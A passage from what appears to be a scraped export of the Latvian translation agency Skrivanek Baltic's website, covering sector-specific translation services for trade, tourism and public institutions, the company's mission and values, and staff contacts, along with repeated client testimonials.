rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi tirdzniecības nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2025-07-07 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/ - Translation Priorities: Optional Lai varētu uzrunāt klientu, ir jāzina viņa valoda. Jūs kā tirdzniecības nozares profesionāļi zināt, ka raita komunikācija ir viens no sekmīga biznesa priekšnoteikumiem, īpaši mūsdienās, kad darījumi notiek starptautiskā un globālā mērogā. Skrivanek valodu speciālisti palīdzēs jums saziņā ar klientiem un partneriem visā pasaulē vairāk nekā pakalpojumi 110 valodās. Turklāt Skrivanek mūsdienīgā un uz rezultātu vērstā pieeja veicinās jūsu biznesa attīstību. Skrivanek komandā strādā valodu speciālisti, kuri ne tikai pārzina nepieciešamo svešvalodu, bet arī orientējas tajā runājošo cilvēku kultūras specifikā. Mēs nodrošinām tulkojumus, bet nepieciešamības gadījumā varam arī uzlabot jau iepriekš gatavotus tekstus, tos noformēt un adaptēt, ņemot vērā jūsu klientu kultūras, vides un tirgus īpatnības. Mums ir plaša pieredze, tulkojot līgumus, mārketinga un reklāmas materiālus, katalogus, preču aprakstus un citus nozarei būtiskus tekstus. Mēs sadarbojamies ar dažāda veida tirdzniecības nozares uzņēmumiem – gan pavisam nelieliem privātiem biznesiem, gan starptautiski nozīmīgām tirdzniecības ķēdēm, tāpēc varam droši apgalvot, ka spējam nodrošināt nepieciešamos valodu risinājumus. Par termiņiem varat neuztraukties – Skrivanek valodu speciālisti un projektu vadītāji ikdienā lieto modernākās programmas, kas ļauj īsākā laikā nodrošināt kvalitatīvus valodu risinājumus. MŪSU SNIEGTIE PAKALPOJUMI TIRDZNIECĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: sinhrono un secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros un gadatirgos, kā arī darījumu tikšanās laikā; pilna spektra mārketinga un reklāmas materiālu tulkojumus, tostarp produktu aprakstus, nodrošinot arī DPT – grafiskā dizaina pakalpojumus; dažādas tehniskās dokumentācijas, tostarp lietotāja rokasgrāmatu, tehniskās apkopes un ekspluatācijas dokumentu tulkojumus, kā arī katalogus; dažādas intensitātes valodu kursus visiem zināšanu līmeņiem; un citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI TIRDZNIECĪBAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: sinhrono un secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros un gadatirgos, kā arī darījumu tikšanās laikā; pilna spektra mārketinga un reklāmas materiālu tulkojumus, tostarp produktu aprakstus, nodrošinot arī DPT – grafiskā dizaina pakalpojumus; dažādas tehniskās dokumentācijas, tostarp lietotāja rokasgrāmatu, tehniskās apkopes un ekspluatācijas dokumentu tulkojumus, kā arī katalogus; dažādas intensitātes valodu kursus visiem zināšanu līmeņiem; un citus jums nepieciešamus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi tūrisma nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Tūrisma nozare aug un attīstās arvien straujāk, un nepieciešamība nodot savu vēstījumu pēc iespējas vairāk valodās ir aktuāla vai ikvienam šīs industrijas pārstāvim. Jūs esat tūrisma profesionāļi, kuri zina, kā vislabāk uzrunāt ceļotājus, savukārt mēs esam valodu profesionāļi, kuri jūsu teikto iztulkos vairāk nekā 110 valodās. Ne velti tiek uzskatīts, ka dažādi tūrisma mārketinga un reklāmas materiāli ir vieni no tulkotākajiem tekstu veidiem pasaulē. Taču svarīga ir arī šo tekstu kvalitāte. Vai jums nepieciešams lokalizēt jūsu viesnīcas mājaslapu? Vēlaties tulkojumu ceļojumu brošūrai? Varbūt gribat pielāgot sava restorāna ēdienkarti ārvalstu klientiem? Mēs varam piedāvāt vairāk nekā vienkārši tulkojumu. Skrivanek valodu speciālisti nodrošina augstas kvalitātes valodu risinājumus tūrisma nozarei jau 25 gadus – mēs tekstus ne tikai tulkojam, bet arī adaptējam, ņemot vērā katras valsts kultūras specifiku. Ar pārliecību varam apgalvot, ka klienti jūs noteikti sapratīs. Neatkarīgi no tā, vai jums nepieciešams tulkojums rakstītam tekstam vai arī vajadzīgi tulka pakalpojumi klātienē konferencēs vai starptautiskos gadatirgos, Skrivanek komanda palīdzēs izvēlēties piemērotāko risinājumu. Un, ja jūsu darbiniekiem nepieciešams uzlabot svešvalodu zināšanas, gaidīsim jūs Mācību centrā Skrivanek. Skrivanek Baltic tulku un tulkotāju komandā strādā cilvēki, kuriem ir ne tikai filologa izglītība, bet arī plašas zināšanas vēsturē, arhitektūrā, mākslā, modē, mūzikā un gastronomijā, tāpēc noteikti varam jums palīdzēt. Viesmīlības bizness un ēdināšana, tūristu grupu uzņemšana, ceļojumu organizēšana, pilsētu un novadu pārstāvniecība ārvalstīs – piemeklēsim atbilstošākos speciālistus, kuri pārzina šīs nianses, lai vēstījums tiktu nodots atbilstoši jūsu prasībām. MŪSU SNIEGTIE PAKALPOJUMI TŪRISMA NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: reklāmas un mārketinga materiālu (bukleti, brošūras un katalogi) tulkošanu ar grafiskā dizaina nodrošināšanu; mājaslapu tulkošanu un lokalizēšanu; brīvdienu katalogu un ceļojuma programmu tulkošanu; audio gidu un video failu lokalizāciju; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp starptautiskos gadatirgos, lielu tūristu grupu uzņemšanas laikā, semināros un konferencēs; specializētas valodu mācības; un citus jums nepieciešamus valodu pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI TŪRISMA NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: reklāmas un mārketinga materiālu (bukleti, brošūras un katalogi) tulkošanu ar grafiskā dizaina nodrošināšanu; mājaslapu tulkošanu un lokalizēšanu; brīvdienu katalogu un ceļojuma programmu tulkošanu; audio gidu un video failu lokalizāciju; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp starptautiskos gadatirgos, lielu tūristu grupu uzņemšanas laikā, semināros un konferencēs; specializētas valodu mācības; un citus jums nepieciešamus valodu pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi valsts un pašvaldību iestāžu specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-10-14 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-valsts-un-pasvaldibu-iestadem/ - Translation Priorities: Optional Sabiedriskā sektora iestādēm ir ļoti svarīga raita saziņa gan ar darbiniekiem, gan ar ārvalstu partneriem un sabiedrību. Savlaicīgi sniegta un saprotama informācija ļauj veiksmīgāk darboties valsts un pašvaldību iestādēm. Šai ziņā jums būs noderīga sadarbība ar Skrivanek. Divdesmit gadu ilgās darbības laikā mums ir izveidojusies laba un ilgstoša sadarbība ar valsts institūcijām, mūsu klientu vidū ir vairākas Latvijas Republikas ministrijas, Valsts kanceleja, Tiesu administrācija un prokuratūra, kā arī citas valsts un pašvaldību iestādes, kas strādā arī ar ierobežotas pieejamības informāciju. Mācību centrs Skrivanek sagatavoja ierēdņus darbam Latvijas prezidentūrai Eiropas Savienības Padomē. Regulāri un sekmīgi piedalāmies cenu aptaujās un rīkotajos iepirkumos. Lai informācija sasniegtu mērķauditoriju, tai jābūt precīzai, savlaicīgai un pieejamai vairākās valodās un formātos. Skrivanek tulkotāji spēj sagatavot tulkojumus visdažādākajos formātos, kas nepieciešami vadības sistēmu darbībai, kvalitātes vadībai, IT sistēmu darbības nodrošināšanai, sadarbībai un saziņai ar ES iestādēm. Tāpat mūsu valodu speciālistu zināšanas var palīdzēt uzlabot tūrisma attīstību pašvaldībās, nodrošinot augstas kvalitātes tulkojumus informatīviem materiāliem par dažādiem tūrisma objektiem, kā arī veicināt uzņēmējdarbību reģionos, sagatavojot materiālus ārvalstu investoru piesaistei. Saziņai ar iedzīvotājiem varam nodrošināt dažādus mutiskās tulkošanas pakalpojumus. Mūsu plašā pieredze ļaus sagatavot tulkojumus, kas nepieciešami jūsu iestādes ikdienas darbā, savukārt savu darbinieku valodu zināšanas varat uzlabot mūsu Mācību centrā. Ja nepieciešams novērtēt potenciālo darbinieku valodu zināšanas, to viegli varēsiet izdarīt ar mūsu īpaši izstrādāto svešvalodas zināšanu līmeņa pārbaudes tiešsaistes rīku FOCUS, turklāt mūsu speciālisti var asistēt darba interviju laikā svešvalodu zināšanu līmeņa noteikšanai. MŪSU SNIEGTIE PAKALPOJUMI VALSTS UN PAŠVALDĪBU IESTĀDĒM PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: mājaslapu, dažādu informatīvo materiālu un prezentāciju tulkojumus; svešvalodas zināšanu līmeņa pārbaudes tiešsaistes rīku FOCUS; secīgās un sinhronās mutiskās tulkošanas nodrošināšanu dažādos pasākumos, kā arī saziņā ar iedzīvotājiem; dažādas intensitātes valodu kursus visiem zināšanu līmeņiem; līgumu, likumu un juridisku materiālu tulkojumus; citus pakalpojumus, kas nepieciešami jūsu iestādei. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI VALSTS UN PAŠVALDĪBU IESTĀDĒM PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: mājaslapu, dažādu informatīvo materiālu un prezentāciju tulkojumus; svešvalodas zināšanu līmeņa pārbaudes tiešsaistes rīku FOCUS; secīgās un sinhronās mutiskās tulkošanas nodrošināšanu dažādos pasākumos, kā arī saziņā ar iedzīvotājiem; dažādas intensitātes valodu kursus visiem zināšanu līmeņiem; līgumu, likumu un juridisku materiālu tulkojumus; citus pakalpojumus, kas nepieciešami jūsu iestādei. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. Esam ISO 9001, EN 17100, ISO 27001 sertificēts uzņēmums. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-11-20 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional JŪSU TULKOŠANAS BIROJS UN MĀCĪBU CENTRS SKRIVANEK 1 Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs. Skrivanek Baltic Latvijā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. JŪSU TULKOŠANAS BIROJS UN MĀCĪBU CENTRS SKRIVANEK 1 Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs. Skrivanek Baltic Latvijā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. MISIJA Skrivanek Baltic = kvalitatīvi valodu pakalpojumi sekmīgai saziņai un ilgtspējīgam darbam Latvijā un ārvalstīs. VĪZIJA Skrivanek Baltic vīzija ir būt par uzņēmumu ar teicamu klientu apkalpošanas līmeni, augstiem kvalitātes standartiem, apmierinātiem darbiniekiem un labu reputāciju. MĒRĶI būt sociāli atbildīgam un ilgtspējīgam uzņēmumam; ieviest nozares jauninājumus uzņēmuma ikdienas darbā; būt uzticamam un draudzīgam sadarbības partnerim mūsu klientiem un piegādātājiem; līdzdarboties nozares izaugsmē un veicināt tās reputācijas un kvalitātes attīstību Latvijā. Ētikas kodekss Politika darbiniekiem, piegādātājiem un sadarbības partneriem VĒRTĪBAS Elastība – mēs esam elastīgi, ātri pielāgojamies pastāvīgi mainīgajai valodu tehnoloģiju videi un augošajām klientu prasībām. Mūsu elastīgums palīdz realizēt mūsu klientu vajadzības. Nebaidāmies eksperimentēt, veicinot inovācijas un uzlabojot sniegto pakalpojumu kvalitāti. Tehnoloģijas – mēs atbalstām inovāciju pārnesi un izmantojam jaunākās tehnoloģijas, lai uzlabotu mūsu valodu pakalpojumu efektivitāti un kvalitāti. Tehnoloģiju pielietojums un apņemšanās ieviest inovācijas mums palīdz nodrošināt augstu klientu apmierinātību. Komandas darbs un sadarbība – mēs uzskatām, ka, sadarbojoties entuziasma pilniem profesionāļiem no visas pasaules, varam sasniegt izcilus rezultātus. Esam apņēmušies radīt iekļaujošu un daudzveidīgu darba vidi, kurā var attīstīties gan komandas, gan katrs no mums individuāli. Atbildība un vērtības radīšana – mums rūp jūsu panākumi, tādēļ Skrivanek komandas apņemšanās ir radīt papildu pievienoto vērtību jūsu uzņēmējdarbības izaugsmei. Ja lūkojat pēc personalizētiem un ātriem valodu un tehnoloģiju risinājumiem, paļaujaties uz mums – Skrivanek. MŪSU PRIEKŠROCĪBAS uzticama kvalitāteilgstoša pieredzeplašs pakalpojumu klāstszinoši kolēģi septiņpadsmit valstīs„vienas pieturas” valodu aģentūrajaunāko nozares tehnoloģiju izmantojumsaugsta kapacitāte apjomīgu projektu izstrādēatsaucība un atbildībaBiežāk uzdotie jautājumi MŪSU DARBINIEKI UN PIEGĀDĀTĀJI MŪSU KOMANDA Pašlaik Skrivanek Holding SE strādā vairāk nekā 360 štata darbinieku. Katrs no viņiem zina vismaz vienu svešvalodu. Uzņēmumā strādā filologi, radošo tekstu autori, datorspeciālisti, ekonomisti un analītiķi. TULKOTĀJI Visus tulkojumus veic valodas speciālisti mērķvalodā, kas tiem ir dzimtā: viņi dzīvo valstī, kurā šī valoda tiek lietota. Daudzi tulkotāji ir profesionālu tulkotāju asociāciju biedri. Mēs izvēlamies tulkotāju katram darbam, kolīdz esam saņēmuši visu informāciju par tā tematiku, un tas ļauj mums katrreiz izvēlēties visatbilstošāko tulkotāju. KOREKTORI UN REDAKTORI Katru tulkojumu pārbauda korektors un nozares redaktors, kam mērķvaloda ir dzimtā. Šie speciālisti nodrošina valodas labskanību un to, ka visā darbā tiek lietota precīza terminoloģija. Karjera MŪSU PRIEKŠROCĪBAS  uzticama kvalitāte  ilgstoša pieredze  plašs pakalpojumu klāsts  zinoši kolēģi septiņpadsmit valstīs  „vienas pieturas” valodu aģentūra  jaunāko nozares tehnoloģiju izmantojums  augsta kapacitāte apjomīgu projektu izstrādē  atsaucība un atbildība Biežāk uzdotie jautājumi MŪSU DARBINIEKI UN PIEGĀDĀTĀJI MŪSU KOMANDA Pašlaik Skrivanek Holding SE strādā vairāk nekā 360 štata darbinieku. Katrs no viņiem zina vismaz vienu svešvalodu. Uzņēmumā strādā filologi, radošo tekstu autori, datorspeciālisti, ekonomisti un analītiķi. TULKOTĀJI Visus tulkojumus veic valodas speciālisti mērķvalodā, kas tiem ir dzimtā: viņi dzīvo valstī, kurā šī valoda tiek lietota. Daudzi tulkotāji ir profesionālu tulkotāju asociāciju biedri. Mēs izvēlamies tulkotāju katram darbam, kolīdz esam saņēmuši visu informāciju par tā tematiku, un tas ļauj mums katrreiz izvēlēties visatbilstošāko tulkotāju. KOREKTORI UN REDAKTORI Katru tulkojumu pārbauda korektors un nozares redaktors, kam mērķvaloda ir dzimtā. Šie speciālisti nodrošina valodas labskanību un to, ka visā darbā tiek lietota precīza terminoloģija. Karjera Vasilijs Ragačevičs Direktors vasilijs@skrivanek. lv Artūrs Peha Biznesa attīstības vadītājs arturs@skrivanek. lv Dana Laizāne Lokalizācijas un MI projektu direktore dana@skrivanek. lv Jeļena Lapoška Administratīvās nodaļas vadītāja jelena. laposka@skrivanek. lv Aiga Matveja Mācību centra vadītāja macibas@skrivanek. lv Ivars Treskovskis Tulkošanas projektu direktors ivars@skrivanek. lv Lelde Calmane Kvalitātes nodaļas vadītāja lelde@skrivanek. lv Jānis Luns Mārketinga vadītājs janis. luns@skrivanek. lv Uldis Krūmiņš IT & DPO uldis@skrivanek. lv KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika 